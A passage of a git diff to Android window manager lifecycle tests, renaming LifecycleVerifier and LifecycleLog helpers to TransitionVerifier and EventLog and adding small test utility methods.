         // back button, which should finish the activity.
         waitAndAssertActivityStates(state(showWhenLockedActivity, ON_DESTROY));
-        LifecycleVerifier.assertResumeToDestroySequence(
-                ShowWhenLockedCallbackTrackingActivity.class, getLifecycleLog());
+        assertResumeToDestroySequence(
+                ShowWhenLockedCallbackTrackingActivity.class, getTransitionLog());
     }
 
     @Test
@@ -757,7 +766,7 @@
         waitAndAssertTopResumedActivity(getComponentName(CallbackTrackingActivity.class),
                 DEFAULT_DISPLAY, "Activity launched on default display must be focused");
         waitAndAssertActivityTransitions(CallbackTrackingActivity.class,
-                LifecycleVerifier.getLaunchSequence(CallbackTrackingActivity.class), "launch");
+                getLaunchSequence(CallbackTrackingActivity.class), "launch");
 
         try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
             // Create new simulated display
@@ -765,7 +774,7 @@
                     = virtualDisplaySession.setSimulateDisplay(true).createDisplay();
 
             // Launch another activity on new secondary display.
-            getLifecycleLog().clear();
+            getTransitionLog().clear();
             launchOptions.setLaunchDisplayId(newDisplay.mId);
             new Launcher(SingleTopActivity.class)
                     .setFlags(FLAG_ACTIVITY_NEW_TASK)
@@ -775,20 +784,19 @@
                     newDisplay.mId, "Activity launched on secondary display must be focused");
 
             waitAndAssertActivityTransitions(SingleTopActivity.class,
-                    LifecycleVerifier.getLaunchSequence(SingleTopActivity.class), "launch");
-            LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
+                    getLaunchSequence(SingleTopActivity.class), "launch");
+            assertOrder(getTransitionLog(), Arrays.asList(
                     transition(CallbackTrackingActivity.class, ON_TOP_POSITION_LOST),
                     transition(SingleTopActivity.class, ON_TOP_POSITION_GAINED)),
                     "launchOnOtherDisplay");
 
-            getLifecycleLog().clear();
+            getTransitionLog().clear();
         }
 
         // Secondary display was removed - activity will be moved to the default display
         waitForActivityTransitions(SingleTopActivity.class,
-                LifecycleVerifier.getRelaunchSequence(
-                        ON_TOP_POSITION_GAINED));
-        LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
+                getRelaunchSequence(ON_TOP_POSITION_GAINED));
+        assertOrder(getTransitionLog(), Arrays.asList(
                 transition(SingleTopActivity.class, ON_TOP_POSITION_LOST),
                 transition(SingleTopActivity.class, ON_TOP_POSITION_GAINED)),
                 "hostingDisplayRemoved");
@@ -815,7 +823,7 @@
                 .createDisplay();
 
         // Launch another activity on new secondary display.
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         launchOptions.setLaunchDisplayId(newDisplay.mId);
         new Launcher(SingleTopActivity.class)
                 .setFlags(FLAG_ACTIVITY_NEW_TASK)
@@ -824,7 +832,7 @@
         waitAndAssertTopResumedActivity(getComponentName(SingleTopActivity.class),
                 newDisplay.mId, "Activity launched on secondary display must be focused");
 
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
 
         // Tap on task center to switch the top activity.
         final Task callbackTrackingTask = mWmState
@@ -836,12 +844,12 @@
                 Arrays.asList(ON_TOP_POSITION_LOST), "tapOnFocusSwitch");
         waitAndAssertActivityTransitions(CallbackTrackingActivity.class,
                 Arrays.asList(ON_TOP_POSITION_GAINED), "tapOnFocusSwitch");
-        LifecycleVerifier.assertEntireSequence(Arrays.asList(
+        assertEntireSequence(Arrays.asList(
                 transition(SingleTopActivity.class, ON_TOP_POSITION_LOST),
                 transition(CallbackTrackingActivity.class, ON_TOP_POSITION_GAINED)),
-                getLifecycleLog(), "Top activity must be switched on tap");
+                getTransitionLog(), "Top activity must be switched on tap");
 
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
 
         // Tap on task center to switch the top activity.
         final Task singleTopActivityTask = mWmState
@@ -854,10 +862,10 @@
                 Arrays.asList(ON_TOP_POSITION_LOST), "tapOnFocusSwitch");
         waitAndAssertActivityTransitions(SingleTopActivity.class,
                 Arrays.asList(ON_TOP_POSITION_GAINED), "tapOnFocusSwitch");
-        LifecycleVerifier.assertEntireSequence(Arrays.asList(
+        assertEntireSequence(Arrays.asList(
                 transition(CallbackTrackingActivity.class, ON_TOP_POSITION_LOST),
                 transition(SingleTopActivity.class, ON_TOP_POSITION_GAINED)),
-                getLifecycleLog(), "Top activity must be switched on tap");
+                getTransitionLog(), "Top activity must be switched on tap");
     }
 
     @Test
@@ -883,7 +891,7 @@
         waitAndAssertActivityStates(state(secondActivityClass, ON_TOP_POSITION_GAINED));
 
         // Launch activity on default display, which will be slow to release top position.
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         final ActivityOptions launchOptions = ActivityOptions.makeBasic();
         launchOptions.setLaunchDisplayId(DEFAULT_DISPLAY);
         final Class<? extends Activity> defaultActivityClass = SlowActivity.class;
@@ -899,13 +907,13 @@
         // Wait and assert focus switch
         waitAndAssertActivityStates(state(secondActivityClass, ON_TOP_POSITION_LOST),
                 state(defaultActivityClass, ON_TOP_POSITION_GAINED));
-        LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
+        assertOrder(getTransitionLog(), Arrays.asList(
                 transition(secondActivityClass, ON_TOP_POSITION_LOST),
                 transition(defaultActivityClass, ON_TOP_POSITION_GAINED)),
                 "launchOnDifferentDisplay");
 
         // Tap on task center to switch the top activity.
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         final Task secondActivityTask = mWmState
                 .getTaskByActivity(getComponentName(SecondProcessCallbackTrackingActivity.class));
         tapOnTaskCenter(secondActivityTask);
@@ -913,12 +921,12 @@
         // Wait and assert top resumed position switch.
         waitAndAssertActivityStates(state(secondActivityClass, ON_TOP_POSITION_GAINED),
                 state(defaultActivityClass, ON_TOP_POSITION_LOST));
-        LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
+        assertOrder(getTransitionLog(), Arrays.asList(
                 transition(defaultActivityClass, ON_TOP_POSITION_LOST),
                 transition(secondActivityClass, ON_TOP_POSITION_GAINED)),
                 "tapOnDifferentDisplay");
 
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         // Tap on task center to switch the top activity.
         final Task defaultActivityTask = mWmState
                 .getTaskByActivity(getComponentName(defaultActivityClass));
@@ -927,7 +935,7 @@
         // Wait and assert top resumed position switch.
         waitAndAssertActivityStates(state(secondActivityClass, ON_TOP_POSITION_LOST),
                 state(defaultActivityClass, ON_TOP_POSITION_GAINED));
-        LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
+        assertOrder(getTransitionLog(), Arrays.asList(
                 transition(secondActivityClass, ON_TOP_POSITION_LOST),
                 transition(defaultActivityClass, ON_TOP_POSITION_GAINED)),
                 "tapOnDifferentDisplay");
@@ -956,7 +964,7 @@
         waitAndAssertActivityStates(state(secondActivityClass, ON_TOP_POSITION_GAINED));
 
         // Launch activity on default display, which will be slow to release top position.
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         final ActivityOptions launchOptions = ActivityOptions.makeBasic();
         launchOptions.setLaunchDisplayId(DEFAULT_DISPLAY);
         final Class<? extends Activity> defaultActivityClass = SlowActivity.class;
@@ -972,31 +980,31 @@
         // Wait and assert focus switch.
         waitAndAssertActivityStates(state(secondActivityClass, ON_TOP_POSITION_LOST),
                 state(defaultActivityClass, ON_TOP_POSITION_GAINED));
-        LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
+        assertOrder(getTransitionLog(), Arrays.asList(
                 transition(secondActivityClass, ON_TOP_POSITION_LOST),
                 transition(defaultActivityClass, ON_TOP_POSITION_GAINED)),
                 "launchOnDifferentDisplay");
 
         // Tap on secondary display to switch the top activity.
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         tapOnDisplayCenter(newDisplay.mId);
 
         // Wait and assert top resumed position switch. Because of timeout top position gain
         // will appear before top position loss handling is finished.
         waitAndAssertActivityStates(state(secondActivityClass, ON_TOP_POSITION_GAINED),
                 state(defaultActivityClass, ON_TOP_POSITION_LOST));
-        LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
+        assertOrder(getTransitionLog(), Arrays.asList(
                 transition(secondActivityClass, ON_TOP_POSITION_GAINED),
                 transition(defaultActivityClass, ON_TOP_POSITION_LOST)),
                 "tapOnDifferentDisplay");
 
         // Wait 5 seconds more to make sure that no new messages received after top resumed state
         // released by the slow activity
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         SystemClock.sleep(5000);
-        LifecycleVerifier.assertEmptySequence(defaultActivityClass, getLifecycleLog(),
+        assertEmptySequence(defaultActivityClass, getTransitionLog(),
                 "topStateLossTimeout");
-        LifecycleVerifier.assertEmptySequence(secondActivityClass, getLifecycleLog(),
+        assertEmptySequence(secondActivityClass, getTransitionLog(),
                 "topStateLossTimeout");
     }
 
@@ -1021,7 +1029,7 @@
                 .createDisplay();
 
         // Launch another activity on new secondary display.
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         final ActivityOptions launchOptions = ActivityOptions.makeBasic();
         launchOptions.setLaunchDisplayId(newDisplay.mId);
         new Launcher(SingleTopActivity.class)
@@ -1032,18 +1040,18 @@
                 newDisplay.mId, "Activity launched on secondary display must be focused");
         // An activity is launched on the new display, so the activity on default display should
         // lose the top state.
-        LifecycleVerifier.assertSequence(CallbackTrackingActivity.class, getLifecycleLog(),
+        assertSequence(CallbackTrackingActivity.class, getTransitionLog(),
                 Arrays.asList(ON_TOP_POSITION_LOST), "launchFocusSwitch");
 
         // Finish the activity on the default display.
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         callbackTrackingActivity.finish();
 
         // Verify that activity was actually destroyed.
         waitAndAssertActivityStates(state(CallbackTrackingActivity.class, ON_DESTROY));
         // Verify that the original focused display is not affected by the finished activity on
         // non-focused display.
-        LifecycleVerifier.assertEmptySequence(SingleTopActivity.class, getLifecycleLog(),
+        assertEmptySequence(SingleTopActivity.class, getTransitionLog(),
                 "destructionOnDifferentDisplay");
     }
 
@@ -1065,7 +1073,7 @@
                 .createDisplay();
 
         // Launch another activity on new secondary display.
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         final ActivityOptions launchOptions = ActivityOptions.makeBasic();
         launchOptions.setLaunchDisplayId(newDisplay.mId);
         new Launcher(SingleTopActivity.class)
@@ -1082,14 +1090,14 @@
         waitAndAssertActivityStates(state(CallbackTrackingActivity.class, ON_TOP_POSITION_GAINED));
 
         // Finish the focused activity
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         callbackTrackingActivity.finish();
 
         // Verify that lifecycle of the activity on a different display did not change.
         // Top resumed state will be given to home activity on that display.
         waitAndAssertActivityStates(state(CallbackTrackingActivity.class, ON_DESTROY),
                 state(SecondActivity.class, ON_RESUME));
-        LifecycleVerifier.assertEmptySequence(SingleTopActivity.class, getLifecycleLog(),
+        assertEmptySequence(SingleTopActivity.class, getTransitionLog(),
                 "destructionOnDifferentDisplay");
     }
 
@@ -1101,7 +1109,7 @@
         final Activity activity = launchActivityAndWait(CallbackTrackingActivity.class);
 
         // Clear the log before launching to Pip
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
 
         // Launch Pip-capable activity and enter Pip immediately
         final Activity pipActivity = new Launcher(PipActivity.class)
@@ -1123,21 +1131,21 @@
                 , "wait PipMenuActivity lost top focus");
         waitAndAssertActivityStates(state(activity, ON_TOP_POSITION_GAINED));
 
-        LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
+        assertOrder(getTransitionLog(), Arrays.asList(
                 transition(CallbackTrackingActivity.class, ON_TOP_POSITION_LOST),
                 transition(CallbackTrackingActivity.class, ON_PAUSE),
                 transition(CallbackTrackingActivity.class, ON_RESUME),
                 transition(CallbackTrackingActivity.class, ON_TOP_POSITION_GAINED)), "startPIP");
 
         // Exit PiP
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         pipActivity.finish();
 
         waitAndAssertActivityStates(state(pipActivity, ON_DESTROY));
-        LifecycleVerifier.assertSequence(PipActivity.class, getLifecycleLog(),
+        assertSequence(PipActivity.class, getTransitionLog(),
                 Arrays.asList(
                         ON_STOP, ON_DESTROY), "finishPip");
-        LifecycleVerifier.assertEmptySequence(CallbackTrackingActivity.class, getLifecycleLog(),
+        assertEmptySequence(CallbackTrackingActivity.class, getTransitionLog(),
                 "finishPip");
     }
 
@@ -1149,7 +1157,7 @@
         final Activity activity = launchActivityAndWait(CallbackTrackingActivity.class);
 
         // Clear the log before launching to Pip
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
 
         // Launch Pip-capable activity and enter Pip immediately
         final Activity pipActivity = new Launcher(PipActivity.class)
@@ -1165,20 +1173,20 @@
                 launchActivityAndWait(AlwaysFocusablePipActivity.class);
         waitAndAssertActivityStates(state(pipActivity, ON_STOP),
                 state(activity, ON_TOP_POSITION_LOST));
-        LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
+        assertOrder(getTransitionLog(), Arrays.asList(
                 transition(CallbackTrackingActivity.class, ON_TOP_POSITION_LOST),
                 transition(AlwaysFocusablePipActivity.class, ON_TOP_POSITION_GAINED)),
                 "launchAlwaysFocusablePip");
 
         // Finish always focusable activity - top position should go back to fullscreen activity
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         alwaysFocusableActivity.finish();
 
         waitAndAssertActivityStates(state(alwaysFocusableActivity, ON_DESTROY),
                 state(activity, ON_TOP_POSITION_GAINED), state(pipActivity, ON_PAUSE));
-        LifecycleVerifier.assertResumeToDestroySequence(AlwaysFocusablePipActivity.class,
-                getLifecycleLog());
-        LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
+        assertResumeToDestroySequence(AlwaysFocusablePipActivity.class,
+                getTransitionLog());
+        assertOrder(getTransitionLog(), Arrays.asList(
                 transition(AlwaysFocusablePipActivity.class, ON_TOP_POSITION_LOST),
                 transition(CallbackTrackingActivity.class, ON_TOP_POSITION_GAINED)),
                 "finishAlwaysFocusablePip");
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityStarterTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityStarterTests.java
index 95c9c4a..7888595 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityStarterTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityStarterTests.java
@@ -98,7 +98,7 @@
         // Navigate home
         launchHomeActivity();
         waitAndAssertActivityStates(state(FirstActivity.class, ON_STOP));
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
 
         // Start activity again with flags in question. Verify activity is resumed.
         // A new instance of activity will be created, and the old one destroyed.
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityTests.java
index 7f42519..5739935 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityTests.java
@@ -27,7 +27,12 @@
 import static android.server.wm.lifecycle.LifecycleConstants.ON_STOP;
 import static android.server.wm.lifecycle.LifecycleConstants.ON_TOP_POSITION_GAINED;
 import static android.server.wm.lifecycle.LifecycleConstants.ON_TOP_POSITION_LOST;
-import static android.server.wm.lifecycle.LifecycleVerifier.transition;
+import static android.server.wm.lifecycle.TransitionVerifier.assertEmptySequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertEntireSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertLaunchAndDestroySequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertLaunchSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.transition;
 
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
@@ -40,6 +45,7 @@
 import org.junit.Test;
 
 import java.util.Arrays;
+import java.util.Collections;
 
 /**
  * Tests for {@link Activity} class APIs.
@@ -56,10 +62,9 @@
         final Activity activity = launchActivityAndWait(FirstActivity.class);
         waitAndAssertActivityStates(state(activity, ON_RESUME));
 
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         assertFalse("Launched and visible activity must be released", activity.releaseInstance());
-        LifecycleVerifier.assertEmptySequence(FirstActivity.class, getLifecycleLog(),
-                "tryReleaseInstance");
+        assertEmptySequence(FirstActivity.class, getTransitionLog(), "tryReleaseInstance");
     }
 
     @Test
@@ -71,18 +76,18 @@
         mWmState.waitForActivityState(firstActivity.getComponentName(), STATE_STOPPED);
 
         // Release the instance of the non-visible activity below.
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         assertTrue("It must be possible to release an instance of an invisible activity",
                 firstActivity.releaseInstance());
         waitAndAssertActivityStates(state(firstActivity, ON_DESTROY));
-        LifecycleVerifier.assertEmptySequence(SecondActivity.class, getLifecycleLog(),
+        assertEmptySequence(SecondActivity.class, getTransitionLog(),
                 "releaseInstance");
 
         // Finish the top activity to navigate back to the first one and re-create it.
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         secondActivity.finish();
         waitAndAssertActivityStates(state(secondActivity, ON_DESTROY));
-        LifecycleVerifier.assertLaunchSequence(FirstActivity.class, getLifecycleLog());
+        assertLaunchSequence(FirstActivity.class, getTransitionLog());
     }
 
     /**
@@ -98,16 +103,16 @@
         waitAndAssertActivityStates(state(rootActivity, ON_STOP),
                 state(topActivity, ON_TOP_POSITION_GAINED));
 
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         rootActivity.finishAndRemoveTask();
 
         waitAndAssertActivityStates(state(rootActivity, ON_DESTROY),
                 state(topActivity, ON_DESTROY));
         // Cannot guarantee exact sequence among top and bottom activities, so verifying
         // independently
-        LifecycleVerifier.assertSequence(rootActivityClass, getLifecycleLog(),
-                Arrays.asList(ON_DESTROY), "finishAndRemoveTask");
-        LifecycleVerifier.assertSequence(topActivityClass, getLifecycleLog(),
+        assertSequence(rootActivityClass, getTransitionLog(),
+                Collections.singletonList(ON_DESTROY), "finishAndRemoveTask");
+        assertSequence(topActivityClass, getTransitionLog(),
                 Arrays.asList(ON_TOP_POSITION_LOST, ON_PAUSE, ON_STOP, ON_DESTROY),
                 "finishAndRemoveTask");
     }
@@ -126,16 +131,16 @@
         waitAndAssertActivityStates(state(rootActivity, ON_PAUSE),
                 state(topActivity, ON_TOP_POSITION_GAINED));
 
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         rootActivity.finishAndRemoveTask();
 
         waitAndAssertActivityStates(state(rootActivity, ON_DESTROY),
                 state(topActivity, ON_DESTROY));
         // Cannot guarantee exact sequence among top and bottom activities, so verifying
         // independently
-        LifecycleVerifier.assertSequence(rootActivityClass, getLifecycleLog(),
+        assertSequence(rootActivityClass, getTransitionLog(),
                 Arrays.asList(ON_STOP, ON_DESTROY), "finishAndRemoveTask");
-        LifecycleVerifier.assertSequence(topActivityClass, getLifecycleLog(),
+        assertSequence(topActivityClass, getTransitionLog(),
                 Arrays.asList(ON_TOP_POSITION_LOST, ON_PAUSE, ON_STOP, ON_DESTROY),
                 "finishAndRemoveTask");
     }
@@ -155,13 +160,12 @@
         waitAndAssertActivityStates(state(rootActivity, ON_STOP), state(midActivity, ON_STOP),
                 state(topActivity, ON_TOP_POSITION_GAINED));
 
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         midActivity.finishAndRemoveTask();
 
         waitAndAssertActivityStates(state(midActivity, ON_DESTROY));
-        LifecycleVerifier.assertEntireSequence(Arrays.asList(
-                transition(midActivityClass, ON_DESTROY)), getLifecycleLog(),
-                "finishAndRemoveTask");
+        assertEntireSequence(Collections.singletonList(transition(midActivityClass, ON_DESTROY)),
+                getTransitionLog(), "finishAndRemoveTask");
     }
 
     /**
@@ -171,16 +175,15 @@
     @Test
     public void testFinishAfterTransition() throws Exception {
         final TransitionSourceActivity rootActivity =
-                (TransitionSourceActivity) launchActivityAndWait(TransitionSourceActivity.class);
+                launchActivityAndWait(TransitionSourceActivity.class);
         waitAndAssertActivityStates(state(rootActivity, ON_RESUME));
 
         // Launch activity with configured shared element transition. It will call
         // finishAfterTransition() on its own after transition completes.
-        rootActivity.runOnUiThread(() -> rootActivity.launchActivityWithTransition());
+        rootActivity.runOnUiThread(rootActivity::launchActivityWithTransition);
         waitAndAssertActivityStates(state(TransitionDestinationActivity.class, ON_DESTROY),
                 state(rootActivity, ON_RESUME));
-        LifecycleVerifier.assertLaunchAndDestroySequence(TransitionDestinationActivity.class,
-                getLifecycleLog());
+        assertLaunchAndDestroySequence(TransitionDestinationActivity.class, getTransitionLog());
     }
 
     /**
@@ -192,10 +195,10 @@
         final Activity activity = launchActivityAndWait(FirstActivity.class);
         waitAndAssertActivityStates(state(activity, ON_RESUME));
 
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         activity.finishAfterTransition();
         waitAndAssertActivityStates(state(FirstActivity.class, ON_DESTROY));
-        LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
+        assertSequence(FirstActivity.class, getTransitionLog(),
                 Arrays.asList(ON_PAUSE, ON_STOP, ON_DESTROY), "finishAfterTransition");
     }
 
@@ -209,10 +212,10 @@
         final Activity topActivity = launchActivityAndWait(SecondActivity.class);
         waitAndAssertActivityStates(state(topActivity, ON_RESUME), state(rootActivity, ON_STOP));
 
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         topActivity.finishAfterTransition();
         waitAndAssertActivityStates(state(SecondActivity.class, ON_DESTROY));
-        LifecycleVerifier.assertSequence(SecondActivity.class, getLifecycleLog(),
+        assertSequence(SecondActivity.class, getTransitionLog(),
                 Arrays.asList(ON_PAUSE, ON_STOP, ON_DESTROY), "finishAfterTransition");
     }
 
@@ -228,12 +231,11 @@
         waitAndAssertActivityStates(state(thirdActivity, ON_RESUME), state(secondActivity, ON_STOP),
                 state(firstActivity, ON_STOP));
 
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         secondActivity.finishAffinity();
         waitAndAssertActivityStates(state(FirstActivity.class, ON_DESTROY),
                 state(SecondActivity.class, ON_DESTROY));
-        LifecycleVerifier.assertEmptySequence(ThirdActivity.class, getLifecycleLog(),
-                "finishAffinityBelow");
+        assertEmptySequence(ThirdActivity.class, getTransitionLog(), "finishAffinityBelow");
     }
 
     /**
@@ -249,10 +251,10 @@
         waitAndAssertActivityStates(state(differentAffinityActivity, ON_RESUME),
                 state(firstActivity, ON_STOP));
 
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         differentAffinityActivity.finishAffinity();
         waitAndAssertActivityStates(state(DifferentAffinityActivity.class, ON_DESTROY));
-        LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
+        assertSequence(FirstActivity.class, getTransitionLog(),
                 Arrays.asList(ON_RESTART, ON_START, ON_RESUME), "finishAffinity");
     }
 
@@ -271,7 +273,7 @@
         waitAndAssertActivityStates(state(secondActivity, ON_RESUME),
                 state(firstActivity, ON_STOP));
 
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         secondActivity.finishAffinity();
         waitAndAssertActivityStates(state(SecondActivity.class, ON_DESTROY),
                 state(firstActivity, ON_RESUME));
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
index c0f376e..e3792ae 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
@@ -238,7 +238,7 @@
     private static final int UI_MODE_TYPE_MASK = 0x0f;
     private static final int UI_MODE_TYPE_VR_HEADSET = 0x07;
 
-    static final boolean ENABLE_SHELL_TRANSITIONS =
+    public static final boolean ENABLE_SHELL_TRANSITIONS =
             SystemProperties.getBoolean("persist.wm.debug.shell_transit", false);
 
     private static Boolean sHasHomeScreen = null;
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/TouchHelper.java b/tests/framework/base/windowmanager/util/src/android/server/wm/TouchHelper.java
index 54c9b3e..4e69797 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/TouchHelper.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/TouchHelper.java
@@ -101,9 +101,13 @@
     }
 
     public void tapOnCenter(Rect bounds, int displayId) {
+        tapOnCenter(bounds, displayId, true  /* waitAnimation */);
+    }
+
+    public void tapOnCenter(Rect bounds, int displayId, boolean waitAnimation) {
         final int tapX = bounds.left + bounds.width() / 2;
         final int tapY = bounds.top + bounds.height() / 2;
-        tapOnDisplaySync(tapX, tapY, displayId);
+        tapOnDisplay(tapX, tapY, displayId, true /* sync */, waitAnimation);
     }
 
     public void tapOnViewCenter(View view) {
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
index 8585638..adf308d 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
@@ -1672,6 +1672,7 @@
         public boolean translucent;
         private WindowContainer mParent;
         private boolean mEnableRecentsScreenshot;
+        private int mLastDropInputMode;
 
         Activity(ActivityRecordProto proto, WindowContainer parent) {
             super(proto.windowToken.windowContainer);
@@ -1687,6 +1688,7 @@
             }
             translucent = proto.translucent;
             mEnableRecentsScreenshot = proto.enableRecentsScreenshot;
+            mLastDropInputMode = proto.lastDropInputMode;
             mParent = parent;
         }
 
@@ -1730,6 +1732,10 @@
             return mEnableRecentsScreenshot;
         }
 
+        public int getLastDropInputMode() {
+            return mLastDropInputMode;
+        }
+
         @Override
         public Rect getBounds() {
             if (mBounds == null) {
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
index c6d96f4..a203a84 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
@@ -240,11 +240,15 @@
         waitForWithAmState(state -> !state.isDisplayFrozen(), "Display unfrozen");
     }
 
-    public void waitForActivityState(ComponentName activityName, String activityState) {
-        waitForWithAmState(state -> state.hasActivityState(activityName, activityState),
+    public boolean waitForActivityState(ComponentName activityName, String activityState) {
+        return waitForWithAmState(state -> state.hasActivityState(activityName, activityState),
                 "state of " + getActivityName(activityName) + " to be " + activityState);
     }
 
+    public void waitAndAssertActivityState(ComponentName activityName, String activityState) {
+        assertTrue(waitForActivityState(activityName, activityState));
+    }
+
     public void waitForActivityRemoved(ComponentName activityName) {
         waitFor((amState) -> !amState.containsActivity(activityName)
                 && !amState.containsWindow(getWindowName(activityName)),
@@ -735,7 +739,8 @@
         final List<Task> tasks = getRootTasks();
         for (Task task : tasks) {
             task.forAllTasks((t) -> assertWithMessage("Empty task was found, id = " + t.mTaskId)
-                    .that(t.mTasks.size() + t.mActivities.size()).isGreaterThan(0));
+                    .that(t.mTasks.size() + t.mTaskFragments.size() + t.mActivities.size())
+                    .isGreaterThan(0));
             if (task.isLeafTask()) {
                 continue;
             }
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/CallbackTrackingActivity.java b/tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/CallbackTrackingActivity.java
index 8666b61..3316c81 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/CallbackTrackingActivity.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/CallbackTrackingActivity.java
@@ -36,32 +36,32 @@
     @Override
     protected void onActivityResult(int requestCode, int resultCode, Intent data) {
         super.onActivityResult(requestCode, resultCode, data);
-        mLifecycleLogClient.onActivityCallback(ON_ACTIVITY_RESULT);
+        mEventLogClient.onCallback(ON_ACTIVITY_RESULT);
     }
 
     @Override
     protected void onPostCreate(Bundle savedInstanceState) {
         super.onPostCreate(savedInstanceState);
-        mLifecycleLogClient.onActivityCallback(ON_POST_CREATE);
+        mEventLogClient.onCallback(ON_POST_CREATE);
     }
 
     @Override
     protected void onNewIntent(Intent intent) {
         super.onNewIntent(intent);
-        mLifecycleLogClient.onActivityCallback(ON_NEW_INTENT);
+        mEventLogClient.onCallback(ON_NEW_INTENT);
         setIntent(intent);
     }
 
     @Override
     public void onTopResumedActivityChanged(boolean isTopResumedActivity) {
         if (!getIntent().getBooleanExtra(EXTRA_SKIP_TOP_RESUMED_STATE, false)) {
-            mLifecycleLogClient.onActivityCallback(
+            mEventLogClient.onCallback(
                     isTopResumedActivity ? ON_TOP_POSITION_GAINED : ON_TOP_POSITION_LOST);
         }
     }
 
     @Override
     public void onMultiWindowModeChanged(boolean isInMultiWindowMode, Configuration newConfig) {
-        mLifecycleLogClient.onActivityCallback(ON_MULTI_WINDOW_MODE_CHANGED);
+        mEventLogClient.onCallback(ON_MULTI_WINDOW_MODE_CHANGED);
     }
 }
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/LifecycleLog.java b/tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/EventLog.java
similarity index 76%
rename from tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/LifecycleLog.java
rename to tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/EventLog.java
index 9b8dd43..a9e680b 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/LifecycleLog.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/EventLog.java
@@ -33,17 +33,17 @@
 import java.util.List;
 
 /**
- * Used as a shared log storage of activity lifecycle transitions. Methods must be synchronized to
- * prevent concurrent modification of the log store.
+ * Used as a shared log storage of events such as activity lifecycle. Methods must be
+ * synchronized to prevent concurrent modification of the log store.
  */
-public class LifecycleLog extends ContentProvider {
